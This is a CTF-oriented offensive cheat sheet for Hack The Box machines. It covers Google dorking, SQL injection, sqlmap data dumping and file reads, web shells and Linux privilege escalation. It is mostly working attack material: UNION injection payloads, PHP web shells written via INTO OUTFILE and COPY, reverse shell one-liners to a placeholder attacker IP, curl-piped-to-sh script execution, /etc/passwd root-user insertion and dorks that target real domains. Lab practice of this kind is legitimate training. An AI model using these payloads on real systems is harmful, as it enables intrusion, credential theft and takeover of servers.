Skip to content

HTB SQL Injection & Exploitation Guide

Table of Contents

  1. Google Dorking
  2. Manual SQL Injection
  3. SQLMap Usage
  4. Getting Shell Access
  5. PostgreSQL Enumeration
  6. Privilege Escalation
  7. Common Issues

Google Dorking

What is Google Dorking?

Advanced Google search operators to find vulnerable sites, exposed data, and sensitive files.

Common Operators

site:           Search specific domain
filetype:       Search specific file types
inurl:          Search in URL
intitle:        Search in page title
intext:         Search in page content
intitle:"index of"   Directory listings

Examples

Find admin panels:

site:example.com inurl:admin
site:example.com inurl:login
site:example.com intitle:"admin panel"
inurl:/phpmyadmin/

Find exposed files:

site:example.com filetype:sql
site:example.com filetype:log
site:example.com filetype:env
intitle:"index of" password
intitle:"index of" backup

Find vulnerable pages:

inurl:login.php
inurl:search.php?q=
inurl:index.php?id=
site:*.edu filetype:sql

Configuration files:

filetype:env DB_PASSWORD
filetype:config password
intitle:"index of" "config.php"

Resources

  • Google Hacking Database: https://www.exploit-db.com/google-hacking-database
  • Dorking cheatsheet: https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06

Manual SQL Injection

Detection

Basic tests:

'
"
test'
test"
test' OR 1=1--
test' OR '1'='1
test') OR ('1'='1

Error-based detection: Look for database errors in response: - MySQL: You have an error in your SQL syntax - PostgreSQL: ERROR: unterminated quoted string - MSSQL: Unclosed quotation mark

Time-based blind detection:

# MySQL
test' AND SLEEP(5)--

# PostgreSQL
test' AND pg_sleep(5)--

# MSSQL
test' WAITFOR DELAY '00:00:05'--

If page delays 5 seconds = vulnerable.

Exploitation Steps

1. Find number of columns

test' ORDER BY 1--
test' ORDER BY 2--
test' ORDER BY 3--
test' ORDER BY 4--
Continue until error. Error at column 4 = 3 columns exist.

2. Identify injectable columns

test' UNION SELECT NULL,NULL,NULL--
test' UNION SELECT 1,2,3--
See which numbers (1, 2, or 3) appear on the page = those columns display data.

3. Extract database information

MySQL:

test' UNION SELECT database(),user(),version()--
test' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--

PostgreSQL:

test' UNION SELECT current_database(),current_user,version()--
test' UNION SELECT datname,NULL,NULL FROM pg_database--

4. Get table names

MySQL:

test' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='database_name'--

PostgreSQL:

test' UNION SELECT tablename,NULL,NULL FROM pg_tables WHERE schemaname='public'--

5. Get column names

MySQL:

test' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

PostgreSQL:

test' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

6. Extract data

test' UNION SELECT username,password,email FROM users--
test' UNION SELECT concat(username,':',password),NULL,NULL FROM users--

7. Write web shell (if permissions)

MySQL:

test' UNION SELECT "<?php system($_GET['cmd']); ?>",NULL,NULL INTO OUTFILE '/var/www/html/shell.php'--

PostgreSQL:

test'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--

SQL Comment Syntax

MySQL:

--      (space after --)
#
/* */

PostgreSQL:

--      (space after --)
/* */

MSSQL:

--      (space after --)
/* */

String Concatenation

MySQL:

CONCAT('a','b')
'a' 'b'

PostgreSQL:

'a'||'b'

MSSQL:

'a'+'b'


SQLMap Usage

Installation

sudo apt install sqlmap

Basic Commands

Test URL parameter:

sqlmap -u "http://10.129.95.174/dashboard.php?search=test"

With authentication cookie:

# Get cookie (from login request)
curl -i -X POST http://10.129.95.174/index.php -d "username=admin&password=yourpass"

# Use cookie with sqlmap
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=abc123def456" --batch

POST request:

sqlmap -u "http://10.129.95.174/search.php" --data="search=test" --cookie="PHPSESSID=abc123" --batch

From Burp Suite request file:

sqlmap -r request.txt --batch

Database Enumeration

List all databases:

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --dbs --batch

List tables in database:

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name --tables --batch

List columns in table:

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name -T users --columns --batch

Dump table data:

# Specific table
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name -T users --dump --batch

# All tables in database
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name --dump-all --batch

# Specific columns
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" -D database_name -T users -C username,password --dump --batch

File Operations

Read files from server:

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/etc/passwd" --batch

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/etc/sudoers" --batch

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/var/www/html/config.php" --batch

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-read="/home/user/user.txt" --batch

Downloaded files location:

~/.local/share/sqlmap/output/10.129.95.174/files/

Upload web shell:

# Create shell locally
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload to server
sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --file-write="shell.php" --file-dest="/var/www/html/s.php" --batch

OS Shell

Get interactive OS shell:

sqlmap -u "http://10.129.95.174/dashboard.php?search=test" --cookie="PHPSESSID=cookie" --os-shell --batch

Note: os-shell is unstable on HTB. Prefer web shell or file-read.

Advanced Options

Specify database type:

sqlmap -u "..." --dbms=postgresql --batch
sqlmap -u "..." --dbms=mysql --batch

Increase thoroughness:

sqlmap -u "..." --level=5 --risk=3 --batch
- Default: --level=1 --risk=1 - Higher = more tests, slower

Use threads (faster):

sqlmap -u "..." --threads=10 --batch

Bypass WAF:

sqlmap -u "..." --tamper=space2comment --batch
sqlmap -u "..." --tamper=between,randomcase --batch

Clear previous session:

sqlmap -u "..." --flush-session --batch


Getting Shell Access

Web Shell

Simple PHP shell:

<?php system($_GET['cmd']); ?>

Better version:

<?php
if(isset($_GET['cmd'])){
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

Upload via SQLMap:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap --file-write="shell.php" --file-dest="/var/www/html/s.php"

Usage:

http://10.129.95.174/s.php?cmd=whoami
http://10.129.95.174/s.php?cmd=ls+-la
http://10.129.95.174/s.php?cmd=cat+/etc/passwd
http://10.129.95.174/s.php?cmd=id

With curl:

curl "http://10.129.95.174/s.php?cmd=whoami"
curl "http://10.129.95.174/s.php?cmd=cat%20/etc/passwd"

Reverse Shell

Start listener on your machine:

nc -lvnp 4444

Get your HTB VPN IP:

ip a | grep tun0
# or
ifconfig tun0

Trigger from web shell or SQLMap os-shell:

Bash:

bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

Python:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

Netcat:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f

PHP:

php -r '$sock=fsockopen("YOUR_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Via web shell (URL encoded):

curl "http://10.129.95.174/s.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOUR_IP%2F4444%200%3E%261%27"

Upgrade to Interactive Shell

# Spawn proper bash shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Background the shell (Ctrl+Z)
^Z

# Configure terminal
stty raw -echo; fg

# Set environment
export TERM=xterm
export SHELL=/bin/bash

# Fix terminal size (optional)
stty rows 38 columns 116

PostgreSQL Enumeration

Connecting to Database

From shell as postgres user:

sudo -u postgres psql

With credentials:

psql -U username -d database_name
psql postgresql://user:password@localhost/dbname

Remote connection:

psql -h 10.129.95.174 -U postgres -d postgres

PostgreSQL Commands

List databases:

\l
SELECT datname FROM pg_database;

Connect to database:

\c database_name

List tables:

\dt
\dt+
SELECT tablename FROM pg_tables WHERE schemaname='public';

Describe table:

\d table_name
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';

List users/roles:

\du
SELECT * FROM pg_user;
SELECT * FROM pg_shadow;

Show current user:

SELECT current_user;
SELECT user;

Extract data:

SELECT * FROM users;
SELECT username, password FROM users;

Version and config:

SELECT version();
SHOW data_directory;
SHOW config_file;
SHOW hba_file;

Find Database Credentials

Config file locations:

# Web application configs
cat /var/www/html/config.php
cat /var/www/html/includes/config.php
cat /var/www/html/.env
grep -r "pg_connect\|pgsql\|DATABASE" /var/www/html/

# PostgreSQL configs
cat /etc/postgresql/*/main/postgresql.conf
cat /etc/postgresql/*/main/pg_hba.conf

# Environment variables
env | grep -i db
env | grep -i postgres

Connection string format:

postgresql://user:password@host:port/database
postgres://user:password@host/database

PostgreSQL Command Execution

COPY TO PROGRAM (requires superuser):

COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'whoami';
COPY (SELECT '') TO PROGRAM 'bash -c ''bash -i >& /dev/tcp/YOUR_IP/4444 0>&1''';

Check if superuser:

SELECT current_setting('is_superuser');

Read files:

COPY (SELECT * FROM pg_read_file('/etc/passwd')) TO '/tmp/output.txt';

CREATE TABLE test(data text);
COPY test FROM '/etc/passwd';
SELECT * FROM test;

Write files:

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

PostgreSQL User Context

System user vs Database user: - postgres is both a Linux system user AND a database role - Often uses peer authentication (system user = db user, no password needed)

Check system user:

id postgres
cat /etc/passwd | grep postgres

Check database users:

SELECT usename, passwd FROM pg_shadow;


Privilege Escalation

Sudo Privileges

Check what current user can run as root:

sudo -l

Read sudoers manually:

cat /etc/sudoers
cat /etc/sudoers.d/*
find /etc/sudoers.d -type f -exec cat {} \;
grep postgres /etc/sudoers
grep postgres /etc/sudoers.d/*

SQLMap file-read for sudoers:

sqlmap --file-read="/etc/sudoers" --batch
sqlmap --file-read="/etc/sudoers.d/postgres" --batch

Common sudo exploits (GTFOBins):

# vim
sudo vim -c ':!/bin/bash'

# nano
sudo nano
# Press: Ctrl+R, Ctrl+X
reset; sh 1>&0 2>&0

# less/more
sudo less /etc/passwd
!/bin/bash

# find
sudo find / -exec /bin/bash \;

# python
sudo python -c 'import os; os.system("/bin/bash")'

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

GTFOBins: https://gtfobins.github.io/

SUID Binaries

Find SUID files:

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Common exploitable SUID:

find:

./find . -exec /bin/bash -p \;

vim:

./vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'

bash:

./bash -p

python:

./python -c 'import os; os.execl("/bin/bash", "bash", "-p")'

Capabilities

Find capabilities:

getcap -r / 2>/dev/null

cap_setuid+ep (instant root):

./python -c 'import os; os.setuid(0); os.system("/bin/bash")'

cap_dac_read_search (read any file):

./tar cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow

Cron Jobs

Check scheduled tasks:

cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/
crontab -l
cat /var/spool/cron/crontabs/*

Monitor processes (pspy):

# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
./pspy64

Writable Files

Find writable files:

find / -writable -type f 2>/dev/null | grep -v proc

Writable /etc/passwd:

# Generate password hash
openssl passwd -1 password123

# Add root user
echo 'hacker:$1$generated$hash:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch user
su hacker

Writable service files:

find /etc/systemd/system -writable 2>/dev/null

Find Flags

Common locations:

# User flag
find /home -name "user.txt" 2>/dev/null
cat /home/*/user.txt

# Root flag
find /root -name "root.txt" 2>/dev/null
cat /root/root.txt

# Search for flags
find / -name "*flag*" 2>/dev/null
find / -name "*.txt" 2>/dev/null | grep -E "user|root|flag"

Automated Enumeration

LinPEAS (best):

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Or download and run:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Linux Smart Enumeration:

wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1


Common Issues

SQLMap os-shell Unstable

Problem: Commands timeout, no output, disconnects

Solutions:

  1. Use file-read instead:

    sqlmap --file-read="/etc/passwd"
    sqlmap --file-read="/etc/sudoers"
    sqlmap --file-read="/home/user/user.txt"
    

  2. Upload web shell:

    echo '<?php system($_GET["cmd"]); ?>' > s.php
    sqlmap --file-write="s.php" --file-dest="/var/www/html/s.php"
    # Access: http://IP/s.php?cmd=whoami
    

  3. Dump data directly:

    sqlmap -D dbname -T users --dump --batch
    

  4. Reset HTB machine: Interface → Reset button

SQLMap os-shell Returns "No output"

Problem: Commands execute but show no output

Workaround:

# In os-shell, write output to file
ls -la > /tmp/out.txt

# Then read with sqlmap
sqlmap --file-read="/tmp/out.txt"

Reverse Shell Disconnects

Solutions:

  1. Use web shell (most stable for HTB)
  2. Try different ports: 80, 443, 53, 4444, 8080
  3. Upgrade shell immediately:
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

Can't Read Sudoers with sudo -l

Alternatives:

# Read directly
cat /etc/sudoers
cat /etc/sudoers.d/*

# Via SQLMap
sqlmap --file-read="/etc/sudoers"
sqlmap --file-read="/etc/sudoers.d/postgres"

# Via web shell
http://IP/shell.php?cmd=cat+/etc/sudoers

PostgreSQL Password Required

If postgres system user password != web admin password:

Try other privesc methods: - SUID binaries - Capabilities - Cron jobs - Writable files - Check if flag accessible without root


Quick Reference

curl -i -X POST http://IP/index.php -d "username=admin&password=pass"

SQLMap Full Workflow

# 1. Test vulnerability
sqlmap -u "http://IP/page.php?search=test" --cookie="PHPSESSID=cookie" --batch

# 2. List databases
sqlmap -u "..." --cookie="..." --dbs --batch

# 3. Dump tables
sqlmap -u "..." --cookie="..." -D dbname -T users --dump --batch

# 4. Upload shell
echo '<?php system($_GET["cmd"]); ?>' > s.php
sqlmap -u "..." --cookie="..." --file-write="s.php" --file-dest="/var/www/html/s.php"

Web Shell Commands

http://IP/s.php?cmd=whoami
http://IP/s.php?cmd=id
http://IP/s.php?cmd=ls+-la
http://IP/s.php?cmd=cat+/etc/passwd
http://IP/s.php?cmd=find+/+-name+user.txt+2>/dev/null

Reverse Shell One-liner

# Start listener
nc -lvnp 4444

# Trigger (from web shell)
bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

Privesc Quick Checks

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
cat /etc/sudoers

Resources

  • PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
  • GTFOBins: https://gtfobins.github.io/
  • HackTricks: https://book.hacktricks.xyz/
  • RevShells Generator: https://www.revshells.com/
  • SQLMap Wiki: https://github.com/sqlmapproject/sqlmap/wiki
  • Google Hacking DB: https://www.exploit-db.com/google-hacking-database

HTB SQL Injection Guide - 2026